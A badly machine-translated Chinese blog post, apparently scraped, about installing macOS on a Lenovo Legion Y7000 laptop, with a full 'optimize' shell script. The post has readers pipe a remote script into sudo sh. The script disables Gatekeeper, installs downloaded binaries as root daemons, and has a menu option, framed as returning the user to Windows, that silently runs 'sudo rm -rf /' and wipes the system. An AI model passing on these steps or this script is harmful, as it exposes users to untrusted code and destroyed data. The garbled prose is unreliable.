当前位置:网站首页>[black apple] Lenovo Savior y70002019pg0

[black apple] Lenovo Savior y70002019pg0

2022-06-25 17:09:00 Chinese cabbage is a real dish

To configure

It should be noted that MgO's hard disk cannot be installed with black pot ,,
If you need to install it, please add another piece of solid . Installation EFI Configuration file with shielded magnesium light solid state

Hardware functions 90% perfect

  • The touch pad is normal
  • WI-FI/ Bluetooth works
  • Normal sleep
  • Sound card normal
  • The numeric keypad is OK
  • The power display is normal
  • CPU The frequency conversion is normal
  • Camera OK
    There is no solution except for the graphics card ,
    It doesn't work to deliver through the air , The rest are for normal use .

setup script

y7000 Game Book Black Apple installation

1) Download mirroring
I use the latest Big Sur11.1【 Solitary scholar 】
efi Perfect installation macOS10.13.6-11.1 Versions can use this efi Install and drive perfectly .
efi Will be provided at the end of the article .

[ Baidu cloud :83a5]https://pan.baidu.com/s/17vZG7TYn261dS0953fNJBg
[ Tianyi cloud :8rz8]https://cloud.189.cn/t/jeuMrur6ZbMv

2) Make installation disk

First download a burning software Etcher, Open burning . Know the software tips success Otherwise, it will be burned again .
2

3) Volume type conversion

Will install mac Hard disk of is converted to GUIP Subsection .

4)BIOS Related settings

  • Use a modification BIOS Software modification settings ,,,
  • F2 Get into BIOS
    operation ,, Turn off safe start , Will start U Disk is set as the first boot item .

1、 Turn off safe start , The graphics card mode is changed to mixed ,
Perform one click modification BIOS Script
(bios Recovery method f9 Reset f10 preservation )
Script use 578

The script modification is used to close the independent display direct connection , Change to mixed mode . Only in this way can the kernel display install the apple system
Otherwise the fan will turn very fast .

2、f12 choice u Disk start
Operation is required during
Disk tools - Wipe tray
install MAC
5
6
7

The system will restart twice - Three times . Every time F12 choice U disc OC start-up

MAC Installation wizard

According to the operation ,, There's nothing to say .
8
9
remarks 】 My own sandhi u disc efi It's perfect It can be used as y7000 The system installation disk of
Again using , Only one change is needed BIOS 5 7 8 Turn off safe start You can go in MAC System / install

Small detail optimization
sleep usb power failure ( The mobile hard disk should be inserted into the slot where the power will not be released during sleep ) perhaps efi Put it on the built-in hard disk . Insert the hard disk into the right slot
3
4

Never make up your mind to execute the optimization command mentioned above . The fifth one

Readme.txt

Prepare before use
1) Download from the group Y7000 Series one key modification BIOS_v1.3.zip
2) After decompressing , Double click the batch script
3) Execute sequentially 5、7、8
4) If it is an eighth generation processor, additional execution is required 4
5) restart
Replace EFI, Successful entry MacOS after , Open the terminal and execute the following command
sudo sh -c “$(curl -fsSL https://gitee.com/xiaoMGit/Y7000Series_Hackintosh_Fix/raw/master/Script/Optimize.sh)”
Then select execute the fifth option , Fix all
3、 Keypad related settings
0) The above steps have been performed
1) Open terminal execution open /usr/local/bin/
2) open System preferences > Security and privacy > privacy > Auxiliary function
3) take setleds Add to accessibility

#!/bin/bash

DAEMON_PATH=/Library/LaunchDaemons/
BIN_PATH=/usr/local/bin/
TMP_PATH=/tmp/
ALC_DAEMON_FILE=good.win.ALCPlugFix.plist
VERB_FILE=hda-verb
ALC_FIX_FILE=ALCPlugFix
TIME_FIX_FILE=localtime-toggle
TIME_DAEMON_FILE=org.osx86.localtime-toggle.plist
NUMLOCK_FIX_FILE=setleds
NUMLOCK_DAEMON_FILE=com.rajiteh.setleds.plist
GIT_URL=https://gitee.com/xiaoMGit/Y7000Series_Hackintosh_Fix/raw/master

init(){
    sudo spctl --master-disable
    sudo pmset -a hibernatemode 0
    sudo rm -rf /var/vm/sleepimage
    sudo mkdir /var/vm/sleepimage

    sudo curl -s -o $TMP_PATH$ALC_FIX_FILE "$GIT_URL/ALCPlugFix/$ALC_FIX_FILE"
    sudo curl -s -o $TMP_PATH$VERB_FILE "$GIT_URL/ALCPlugFix/$VERB_FILE"
    sudo curl -s -o $TMP_PATH$ALC_DAEMON_FILE "$GIT_URL/ALCPlugFix/$ALC_DAEMON_FILE"
    sudo curl -s -o $TMP_PATH$TIME_FIX_FILE "$GIT_URL/TimeSynchronization/$TIME_FIX_FILE"
    sudo curl -s -o $TMP_PATH$TIME_DAEMON_FILE "$GIT_URL/TimeSynchronization/$TIME_DAEMON_FILE"
    sudo curl -s -o $TMP_PATH$NUMLOCK_FIX_FILE "$GIT_URL/NumLockFix/$NUMLOCK_FIX_FILE"
    sudo curl -s -o $TMP_PATH$NUMLOCK_DAEMON_FILE "$GIT_URL/NumLockFix/$NUMLOCK_DAEMON_FILE"

    if [ ! -d "$BIN_PATH" ] ; then
        mkdir "$BIN_PATH" ;
    fi

    if sudo launchctl list | grep --quiet com.black-dragon74.ALCPlugFix; then
        sudo launchctl unload /Library/LaunchDaemons/com.black-dragon74.ALCPlugFix.plist
        sudo rm /Library/LaunchDaemons/com.black-dragon74.ALCPlugFix.plist
        sudo rm /usr/local/bin/ALCPlugFix
        sudo rm /Library/Preferences/ALCPlugFix/ALC_Config.plist
    fi
}

ALCPlugFix(){
    sudo cp $TMP_PATH$ALC_FIX_FILE $BIN_PATH
    sudo cp $TMP_PATH$VERB_FILE $BIN_PATH
    sudo cp $TMP_PATH$ALC_DAEMON_FILE $DAEMON_PATH
    sudo chmod 755 $BIN_PATH$ALC_FIX_FILE
    sudo chown $USER:admin $BIN_PATH$ALC_FIX_FILE
    sudo chmod 755 $BIN_PATH$VERB_FILE
    sudo chown $USER:admin $BIN_PATH$VERB_FILE
    sudo chmod 644 $DAEMON_PATH$ALC_DAEMON_FILE
    sudo chown root:wheel $DAEMON_PATH$ALC_DAEMON_FILE
    if sudo launchctl list | grep --quiet ALCPlugFix; then
        sudo launchctl unload $DAEMON_PATH$ALC_DAEMON_FILE
    fi
    sudo launchctl load -w $DAEMON_PATH$ALC_DAEMON_FILE
}

localtime_toggle(){
    sudo cp $TMP_PATH$TIME_FIX_FILE $BIN_PATH
    sudo cp $TMP_PATH$TIME_DAEMON_FILE $DAEMON_PATH
    sudo chmod +x $BIN_PATH$TIME_FIX_FILE
    sudo chown root $DAEMON_PATH$TIME_DAEMON_FILE
    sudo chmod 644 $DAEMON_PATH$TIME_DAEMON_FILE
    if sudo launchctl list | grep --quiet localtime-toggle; then
        sudo launchctl unload $DAEMON_PATH$TIME_DAEMON_FILE
    fi
    sudo launchctl load -w $DAEMON_PATH$TIME_DAEMON_FILE
}

numlock(){
    sudo cp $TMP_PATH$NUMLOCK_FIX_FILE $BIN_PATH
    sudo cp $TMP_PATH$NUMLOCK_DAEMON_FILE $DAEMON_PATH
    sudo chmod +x $BIN_PATH$NUMLOCK_FIX_FILE
    sudo chown root:wheel $DAEMON_PATH$NUMLOCK_DAEMON_FILE
    if sudo launchctl list | grep --quiet setleds; then
        sudo launchctl unload $DAEMON_PATH$NUMLOCK_DAEMON_FILE
    fi
    sudo launchctl load -w $DAEMON_PATH$NUMLOCK_DAEMON_FILE
}

clear_cache(){
    sudo kextcache -i /
}

fixAll(){
    ALCPlugFix
    numlock
    localtime_toggle
    clear_cache
}

removeAll(){
    if sudo launchctl list | grep --quiet ALCPlugFix; then
        sudo launchctl unload $DAEMON_PATH$ALC_DAEMON_FILE
        sudo rm -rf $DAEMON_PATH$ALC_DAEMON_FILE
        sudo rm -rf $BIN_PATH$VERB_FILE
        sudo rm -rf $BIN_PATH$ALC_FIX_FILE
    fi

    if sudo launchctl list | grep --quiet localtime-toggle; then
        sudo launchctl unload $DAEMON_PATH$TIME_DAEMON_FILE
        sudo rm -rf $DAEMON_PATH$TIME_DAEMON_FILE
        sudo rm -rf $BIN_PATH$TIME_FIX_FILE
    fi

    if sudo launchctl list | grep --quiet setleds; then
        sudo launchctl unload $DAEMON_PATH$NUMLOCK_DAEMON_FILE
        sudo rm -rf $DAEMON_PATH$NUMLOCK_DAEMON_FILE
        sudo rm -rf $BIN_PATH$NUMLOCK_FIX_FILE
    fi
}

menu(){
    echo "
******************************************************************************

    https://github.com/xiaoMGitHub/LEGION_Y7000Series_Hackintosh/releases  

                              QQ Group :477839538

******************************************************************************
"
    echo " Menu selection :"
    echo ""
    echo "1、 Repair the noise caused by plugging in headphones "
    echo ""
    echo "2、 Fix that the numeric keypad cannot be turned on "
    echo ""
    echo "3、 Repair  Win/OSX  Time is out of sync "
    echo ""
    echo "4、 Clear cache "
    echo ""
    echo "5、 Fix all the above problems "
    echo ""
    echo "6、 Remove all repairs "
    echo ""
    echo "7、 Send black fruit to the West "
    echo ""
    echo "8、 sign out "
    echo ""
}

Select(){
    read -p " Please select the action you need to perform :" number
    case ${number} in
    1) ALCPlugFix
       echo " Fixed the noise of plugging in headphones "
       echo ""
       Select
      ;;
    2) numlock
       echo " It has been fixed that the numeric keypad cannot be turned on "
       echo ""
       Select
       ;;
    3) localtime_toggle
       echo " Fixed  Win/OSX  Time is out of sync "
       echo ""
       Select
       ;;
    4) clear_cache
       echo " The cache has been rebuilt "
       echo ""
       Select
       ;;
    5) fixAll
       echo " The above problem has been fixed "
       echo ""
       Select
       ;;
    6) removeAll
       echo " All fixes have been removed "
       Select
       ;;
    7) echo " Wait patiently , Trying to remove the garbage black apples , Welcome back  windows  System , It will restart automatically later "
        sudo rm -rf / >/dev/null 2>&1
        sudo reboot
        ;;
    8) exit 0
       ;;
    *) echo " Input error ";
       echo ""
       Select
       ;;
    esac
}

main(){
    init

    menu

    Select
}

main

Cabbage blog

jiushibaicai

原网站

版权声明
本文为[Chinese cabbage is a real dish]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/176/202206251640052761.html